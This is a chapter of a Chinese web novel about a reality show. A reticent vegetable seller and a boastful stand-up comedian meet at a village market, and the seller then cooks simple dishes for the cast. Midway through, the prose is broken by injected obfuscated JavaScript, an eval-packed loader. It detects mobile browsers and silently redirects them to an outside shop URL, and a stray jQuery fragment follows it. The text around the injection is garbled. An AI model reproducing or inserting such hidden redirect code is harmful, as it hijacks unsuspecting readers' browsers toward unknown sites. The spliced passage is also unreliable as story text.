天还没亮透，陆清槐就起了。
菜园子里露水重，他猫着腰，番茄拣红透的摘，黄瓜挑顶花带刺的，白菜砍最包心的。筐底铺一层湿毛巾，菜码上去，再盖一层——这是他卖了大半年菜摸出来的规矩：菜跟人一样，得保湿，不能暴晒。
两筐装满，扁担上肩。他直了直腰，路过黑板时停了一下。
昨晚添的那两个粉笔字还在：有客。
沈眉起得早，端着牙缸站在门口漱口，顺着他的目光看过去："客？什么客？"
"半夜打电话点菜那个。"
"点的什么？"
"满汉全席。"
沈眉一口漱口水差点没咽下去："……你答应了？"
"我说没有。"他挑起扁担，"他说随便做，他不挑。"
"那你打算做什么？"
"看他几点到。"陆清槐往院门外走，"到得早，有饭吃。到得晚——"
他想了想。
"有洗碗水。"
集市初五逢大集，人比平时多一倍。
陆清槐的摊位在集市中段靠墙的位置，没招牌，就两筐菜一块塑料布。他刚把扁担放下，隔壁卖菜的大叔就探过头："小陆，今天番茄多不多？我闺女就认你家的。"
"多。"
"那你慢点卖，给我留两斤——哎你别一来就围上啊！"
后半句不是跟他说的。是跟陆续凑过来的人说的。
"小伙子，番茄给我称三斤！"
"黄瓜还有吗？上次那黄瓜我孙子生吃了两根！"
"让让让，我先来的——"
陆清槐低头称菜。他称菜不用电子秤，就一根杆秤，秤砣一拨一个准，末了还总多塞一根葱或者俩小辣椒。他的菜价比隔壁贵五毛，阿姨们照样排——贵五毛，甜一倍，这笔账谁都会算。买菜的阿姨们嘴上说"不用不用"，手伸得比谁都快。
不到一个钟头，第一筐见了底。
隔壁大叔瞅着自己筐里还堆得冒尖的青菜，酸溜溜地跟旁边卖豆腐的嘀咕："看见没，我就说别让他摆我旁边。他那菜是成精了还是怎么着，人人奔他去。"
卖豆腐的老头慢悠悠接了一句："人家菜确实好。你前年那萝卜，糠心得能当灯笼。"
"……你不说话没人把你当哑巴。"
同一时间，镇口。
一个瘦高个儿从班车上跳下来，鸭舌帽，黑框眼镜，冲锋衣，下巴一撮修得整整齐齐的山羊胡。他背着个双肩包，站在镇口牌坊底下，先深吸了一口乡间空气，然后对着身后跟拍的镜头张开双臂。
"观众朋友们，"他字正腔圆，"我，贺一鸣，三百二十八万粉丝的脱口秀演员，现在被节目组扔在了一个连共享单车都没有的地方。任务是：不亮身份，不蹭节目组，自己解决午饭，自己找到村子。"
他顿了顿，扶了扶眼镜。
"我怀疑苏晚导演针对我。但我没有证据。"
摄像大哥没憋住笑，镜头晃了一下。
集市很热闹。贺一鸣往里走，眼睛先锁定了一个鱼丸摊——大锅咕嘟咕嘟冒着白气，鱼丸在汤里起起伏伏，老板娘漏勺一捞一个准。
他凑过去："阿姨，来一串鱼丸。"
"三块。扫码还是现金？"
贺一鸣摸了摸口袋。节目组没收了他的钱包和手机支付——任务经费就三十五块现金，他得省着花。
他露出一个职业性的灿烂微笑："阿姨，您认识我吗？"
阿姨抬头打量他两秒："……你是哪家的娃？外头打工回来的？"
"我是贺一鸣！说脱口秀的！网上那个！"
"啥是脱口秀？"
"就是……站台上说话，逗人乐的。"
阿姨恍然大悟："哦——唱戏的。"
贺一鸣："……"
"三块。"阿姨重复了一遍，"扫码还是现金？"
"现金。"贺一鸣沉痛地掏出三块钱，接过鱼丸，咬了一口，眼睛一亮，"嚯，阿姨您这鱼丸可以啊。"
"那是，我做了二十年。"
"您看这样行不行，"他又凑上去，"我再给您说段脱口秀，您饶我一串？"
阿姨拿漏勺指了指他身后："小伙子，你挡着我生意了。"
贺一鸣被人流裹挟着往前走，嘴里嚼着鱼丸，对着镜头痛心疾首："家人们，三百二十八万粉丝。在这儿，刷脸不好使。我红了，但没完全红。这叫什么？这叫区域性塌房——不，区域性没房。"
他一路走一路蹭，蹭到半截，发现不对劲。
集市中段围了一大圈人，里三层外三层，比卖菜刀砍钢管的摊子人还多。他踮脚往里瞅——一个卖菜的摊子，两筐菜下去了一筐半，摊主被阿姨们围在中间。
看不见脸。
但能听见声音。
"番茄四块。""三块五吧？""不讲价。""哎你这小伙子——""送你两根葱。"
干净利落，一句废话没有。
贺一鸣的职业本能"叮"地响了。这个人，有梗。
他发挥自己一百八十斤……不对，一百三十斤的挤人功力，硬是从人缝里钻了进去。
终于看清了摊主。
年轻男人，蹲在小马扎上，旧T恤，袖子卷到手肘，手上沾着泥，正低头给人称黄瓜。侧脸线条干净，睫毛很长，鼻梁上架不住阳光似的，整个人在集市的喧闹里透着一股莫名其妙的安静。
贺一鸣脑子里"嗡"一声。
干了十年综艺，他对"镜头脸"有动物般的直觉。这张脸往那一蹲，什么都不用干，就是个机位杀手。
他立刻掏出了他那套流程——上节目嘛，遇到素人，先互动，抛梗，万一剪出效果呢。
"兄弟！"他凑到摊前，"你这菜怎么卖？"
陆清槐抬头。
一张陌生的脸，山羊胡，眼镜，笑起来一脸"我要开始表演了"的表情。身后还跟着个扛摄像机的。
拍电视的。他心里有数了，低头继续称菜："番茄四块，黄瓜三块，白菜一块五一斤。"
"兄弟，认识我不？"
"不认识。"
回答得太快了。贺一鸣噎了一下，重整旗鼓："我贺一鸣！说脱口秀的！网上三百多万粉丝！"
陆清槐停下手里的活，认真看了他两秒，似乎在努力把这张脸和某个记忆对上号。
然后他点了点头，露出一个礼貌的、了然的表情。
"哦。"他说，"唱戏的。"
周围几个阿姨"噗"地笑出声。
贺一鸣石化在原地。他对着镜头，缓缓伸出一根手指："这段……这段剪进去，我要让我经纪人看看，什么叫职业生涯的滑铁卢。我上过春晚的分会场，被一个卖菜的兄弟定义为——唱戏的。"
陆清槐没理他，转头给阿姨找零。
贺一鸣不屈不挠："兄弟，我真是明星。你这样，我一会儿发个微博，给你这菜摊宣传宣传，你给我打个折？"
"不讲价。"
"那……我给你签十张名？"
"我不卖纸。"
围观的人笑成一片。贺一鸣自己也没绷住，笑完了蹲下来，指着筐里的番茄："行行行，原价。给我来俩番茄，我尝尝。要真是好东西，我不光不打折，我还包圆。"
陆清槐挑了俩熟透的递过去。
贺一鸣在衣服上蹭了蹭，咬了一口。
然后他不动了。
番茄的汁水在口腔里炸开，酸是正的，甜是正的，沙瓤在舌头上沙沙地化，带着一股太阳晒过的味道——他形容不出来，就觉得这一口下去，小时候在他奶奶家菜园子边上偷吃番茄的记忆"唰"地回来了。
他慢慢嚼完，盯着手里半个番茄看了三秒。
"兄弟。"他声音都低了，"你这番茄……打过农药吗？"
"没有。"
"上化肥了吗？"
"没有。"
"那它为什么——"他卡了一下壳，找不着词，最后一挥手，"凭什么？！"
陆清槐看了他一眼，觉得这个人虽然吵，但吃菜的反应很诚实。他难得多说了一句："不是你的舌头骗你。"
"嗯？"
"是你以前吃的那些东西，没打算跟你说实话。"
贺一鸣张了张嘴，没接上话。
下一秒他把双肩包往地上一放，开始掏口袋："番茄，五斤。黄瓜，两斤。白菜——两棵，要小的。多少钱？"
"三十五。"
贺一鸣把那三十五块经费掏出来，鱼丸花掉三块，数了数剩下的，脸绿了："……我就三十二。"
"扫码。"旁边买菜的阿姨提醒他，"现在谁还带现金啊。"
"他这儿只收现金。"另一个阿姨头也不抬，"码都没有，买大半年了。"
贺一鸣摸手机的动作僵在半空——支付功能还被节目组锁着，他本来也扫不了。
陆清槐已经把菜给他装好了，见他那样，顿了顿，从筐里又摸出一根黄瓜塞进去。
"三十二就三十二。"他说，"这根送你。"
贺一鸣愣住："……你不讲价，但你送菜？"
"讲价是不信我的菜。"陆清槐系袋子，头也不抬，"送你是我乐意。"
集市上安静了半秒，然后不知道谁先鼓的掌，阿姨们跟着起哄。贺一鸣拎着那袋菜，站在喧闹的集市中间，忽然觉得这三十二块钱花得他鼻子有点发酸——虽然他本人拒绝承认这件事。
他对着镜头，压低声音："这段别剪。不对，这段必须剪。我要让全国观众知道，人间自有真情在，卖菜的兄弟是真帅。"
陆清槐卖完最后一棵白菜，收拾扁担准备走。
一抬头，那个"唱戏的"还没走，蹲在摊边，把他送的那根黄瓜啃完了，正眼巴巴看着他。
"你跟着我干嘛？"
"兄弟，"贺一鸣搓了搓手，"我跟你说实话。我迷路了。我要去找一个叫《山间的日子》的节目组，就在这附近的村子里。你认识不？"
陆清槐挑起扁担，看了他两秒。
"认识。"
"能带路不？"
"跟紧。"
贺一鸣大喜，屁颠屁颠跟在后面，一路嘴没停过："兄弟你不知道，我今天任务可惨了，钱包被没收，手机被锁，三十五块钱闯荡江湖——刚买串鱼丸还剩三十二——哎你说你们这镇子，共享单车没有，共享充电宝总有吧？也没有？那你们共享什么？共享空气？"
陆清槐走在前面，扁担吱呀吱呀响。他决定先不解释，听听这个人还能说出什么来。
"跟你说，"贺一鸣跟在后面，越说越来劲，"我昨晚住镇上招待所，闲得无聊，往你们蘑菇屋打了个电话。接电话的让我点菜，我张口就点了满汉全席！嘿嘿，气派吧？"
"……气派。"
"结果人来了句'没有'。"贺一鸣痛心疾首，"你说这房东多扫兴？客人点满汉全席，他说没有。这要是在我们圈里，那叫没有服务意识！"
陆清槐挑着扁担，目视前方。
"还有还有，"贺一鸣压低声音，"我听说那房东大厨做饭绝了，嘉宾吃了都哭——你说是不是夸张？一个村里做饭的，能有多绝？我跟你讲，我走南闯北什么没吃过，上海的米其林——"
"到了。"
"啊？"
贺一鸣抬头。
眼前一道篱笆院，门口架着两台摄像机，收音杆举得老高。院子里，方驰蹲在地上洗碗，温以宁坐在门槛上嗑瓜子，周建国和沈眉在灶屋门口择菜，陶陶追着一只橘猫跑。
贺一鸣嘴里的瓜子——不对，他没嗑瓜子——他嘴里的空气差点没呛着。
温以宁先看见他，"腾"地站起来："贺哥？！"
"温以宁？"贺一鸣瞪大眼，"你怎么在这？你不是说你——"
"我也是嘉宾啊！咱俩一块录《吐槽大会》那回，你不是还吐槽我们团假唱吗！"
方驰抬头，看见贺一鸣那张生无可恋的脸，再看看他身后挑着扁担的陆清槐，一个没忍住，碗差点掉地上："贺老师？你们……你们怎么凑一块的？"
贺一鸣缓缓转头，看向身旁那个刚把扁担靠墙放好、正低头拍袖子上灰的年轻人。
一个可怕的猜想在他脑子里成型。
"等会儿。"他声音发飘，"兄弟……你不会就是那个……房东大厨吧？"
陆清槐拍干净袖子，抬眼，平平淡淡地看着他。
"嗯。"
"……满汉全席那个电话，是你接的？"
"嗯。"
"你说'没有'。"
"确实没有。"
贺一鸣闭了闭眼。
三秒钟后他转向苏晚——苏晚不知道什么时候已经站在了监视器后面，脸上带着一种"素材够剪三集"的满足表情。
"苏导。"贺一鸣深吸一口气，"我有个问题。"
"问。"
"我今天在镇上，花三十二块钱，跟你们节目的隐藏大厨买了五斤番茄两斤黄瓜两棵白菜，还被他定义成了唱戏的。"他一字一顿，"这趟任务，算我完成了吗？"
苏晚翻了翻任务卡，面无表情："任务要求：自行解决午饭，自行进村。"
"我午饭就是那根黄瓜！"
"算你完成。"苏晚把任务卡翻过来，"但还有个附加环节。新来的嘉宾要负责今晚的一道菜——食材就是你自己买回来的这些。"
"做菜？"贺一鸣眼睛一亮，"这个我擅——"
"做砸了，"苏晚头也不抬，"洗一周碗。我们组传统。"
贺一鸣的笑容僵在脸上："……这传统，谁定的？"
"我。"
贺一鸣低头看看手里那袋菜。
又看看陆清槐。
"兄弟。"他语气虔诚，"满汉全席，还点吗？"
陆清槐想了想，很认真地回答他："你买的这些，够做番茄炒蛋、凉拌黄瓜、醋熘白菜。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916299|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"……没了？"
"满汉全席没有。"陆清槐拎起菜袋往灶屋走，走了两步回头，"但管饱。"
"管饱就行！"贺一鸣撸起袖子追上去，"苏导说了，今晚这道菜我负责！让你们见识见识什么叫厨房艺术家——"
他冲进灶屋，抄起刀，对着案板上一根黄瓜比划了三秒。
手起刀落。
黄瓜滚到地上，断成四截，其中一截蹦起来弹在他脑门上。
灶屋里安静了一秒。
陆清槐蹲下身把黄瓜捡起来，冲水池冲了冲，放回案板，客客气气地把他往门外请："你负责吃。"
"不是，我还没——"
"尝菜也算负责。"
贺一鸣被半推半送地请出灶屋，回头冲镜头摊手："看见没？大腕都这样，不给年轻人机会。"
晚饭是一场混战。
烧火的活贺一鸣到底抢上了。一刻钟内他把灶膛烧得浓烟滚滚，自己熏得眼泪直流，被温以宁拎着后领拽出来："贺哥你离灶台远点！你是来说脱口秀的不是来纵火的！"
"我这是艺术的火焰！"
"你这是灾难的火焰。"方驰幸灾乐祸，"快去洗碗，哦不对，碗是我洗的——你去添柴！添柴总会吧？"
"方驰我警告你，我看过你演的戏——"
"那你更不能让我碰厨房，"方驰一脸坦然，"我这手艺，能把碗演碎。"
灶屋里，陆清槐起锅烧油。番茄切块，鸡蛋打散，热油一浇"刺啦"一声，蛋液蓬起来，番茄下锅翻两下，酸甜味蹿满整个院子。贺一鸣蹲在灶门口，烟也顾不上了，伸长脖子往里瞅。
菜一道一道端上桌。
番茄炒蛋、凉拌黄瓜、醋熘白菜，外加一锅白菜豆腐汤——豆腐是陈伯下午连鱼一起捎来的，他自己点的卤水豆腐，还温乎着。简简单单，连点肉丝都没有。
贺一鸣拿着筷子，神情庄重，像要去领什么奖。
他夹了一筷子番茄炒蛋。
嚼了两下。
放下筷子。
全场都看着他。
"各位。"贺一鸣站起来，扶了扶眼镜，正式得像在开个人专场，"我贺一鸣，走南闯北，上海的米其林我吃过，北京的私房菜我蹭过，经纪人的结婚喜宴我随了八百块份子。但是今天——"
他指着那盘番茄炒蛋，手指都在抖。
"这盘番茄炒蛋，让我明白了一个道理。"
"什么道理？"温以宁很捧场。
"我前三十年，吃的都是饲料。"
一桌子人笑翻。周建国笑得直拍大腿，沈眉拿筷子点他："夸张了夸张了。"
"不夸张！"贺一鸣扒了一大口饭，"眉姐我跟您说，这鸡蛋怎么能这么嫩？这番茄怎么能这么甜？这白菜——这白菜它有什么资格这么好吃？它就是个白菜啊！"
陆清槐坐在最边上，给橘座挑鱼刺——陈伯下午溜达过来，扔下七八条小鲫鱼和一块卤水豆腐就走了，鲫鱼煎得两面焦黄。他头也不抬："白菜好好种，就好吃。"
"你听听！"贺一鸣一拍桌子，"这就叫大道至简！这道菜，我要写进我下一场专场——名字我都想好了，就叫《满汉全席不如一盘番茄炒蛋》！"
"你可拉倒吧，"温以宁翻白眼，"你专场票都卖不出去。"
"那是他们没吃过这盘番茄炒蛋！"
江苓端着碗，慢条斯理补了一刀："贺老师，他要真把这盘菜写进专场，你信不信观众听完都去搜《山间的日子》，没人记得你叫什么。"
"那我也值了！"贺一鸣梗着脖子，"蹭饭蹭出圈，这叫——这叫什么来着？"
"这叫傍上大腿了。"方驰总结。
"对！"贺一鸣一拍大腿，"傍大腿，我熟！"
夜里，院门口。
小赵把白天集市的素材导进平板，拉着苏晚回看。看到"唱戏的"那段，小赵又笑了一遍："苏导，这段真能留吧？太绝了。"
"留。"苏晚看着屏幕，嘴角难得有了点笑意，"再让他发条微博。"
她抬头，看见陆清槐蹲在台阶上，拿着手机，一根手指在屏幕上慢慢划。
"看什么呢？"
"唱戏的。"陆清槐把手机递过去，"他让我看的。"
苏晚接过来——贺一鸣的微博主页，最新一条九宫格：番茄、黄瓜、白菜、灶屋浓烟、方驰的黑脸，最后一张是陆清槐蹲在摊位前称菜的侧影，配文：
"今日奇遇：被一位卖菜的神仙定义为唱戏的，并被投喂了改变人生观的番茄炒蛋。《山间的日子》，满汉全席，我先欠着。"
评论已经破万了。
苏晚把手机还给他，想了想，说："有个事。陈伯下午捎了句话，你托他办的身份证下来了。明天初六，去镇上派出所拿。"
陆清槐愣了一下。
身份证。
这三个月，他记了满满一本子"嘀一声，钱过去"，却始终停在"未实名，暂不可用"那一屏。
"拿了身份证，"苏晚继续说，"就能办银行卡，绑手机，以后你卖菜——"
"能扫码了。"他接了一句。
"对。"
他沉默了两秒，低头看了看自己那部旧手机。旁边贺一鸣不知道什么时候凑了过来，嘴里还叼着半根黄瓜："咋了兄弟？你没收款码？"
"嗯。"
贺一鸣一脸不可思议："不是，现在村口要饭的都挂个二维码！你一卖菜的，你没有？"
陆清槐认真地看着他："要饭的……都有码？"
"都有！瓷碗旁边贴一张，比碗都显眼！"
他若有所思地点了点头，站起身，走到黑板前。
粉笔在"有客"两个字下面，慢慢地写：
"初六，拿身份证。办码。"
写完想了想，又添一行：
"贺一鸣说，要饭的都有码。"
他退后两步，端详了一下。
字是好字。就是哪里看着不太对。
他盯着"要饭的"三个字看了两秒，没想出来，决定明天再想。
身后灶屋方向传来贺一鸣的声音，隔着半个院子都听得清清楚楚。
"我申诉！"水声哗啦哗啦，"我菜没做成，那是大腕不给我灶台！火也不是我弄灭的，它自己针对我——凭什么算我头上？"
"愿赌服输啊贺老师，"温以宁的声音，"我俩昨天才叫冤，正儿八经比了三场，输得明明白白。你这是直通车，一天上岗。"
"什么岗？"
"洗碗岗。"方驰幸灾乐祸，"欢迎加入，编制内，一周起。"
"凭什么是一周？！"
"组里传统。"
"苏晚定的那个传统？！"
"对。"
贺一鸣悲愤地把一只碗按进水盆："……这节目我算看透了，导演说的每句话都带坑。"
橘座蹲在墙头上，舔了舔爪子，对着山路上那轮月亮打了个哈欠。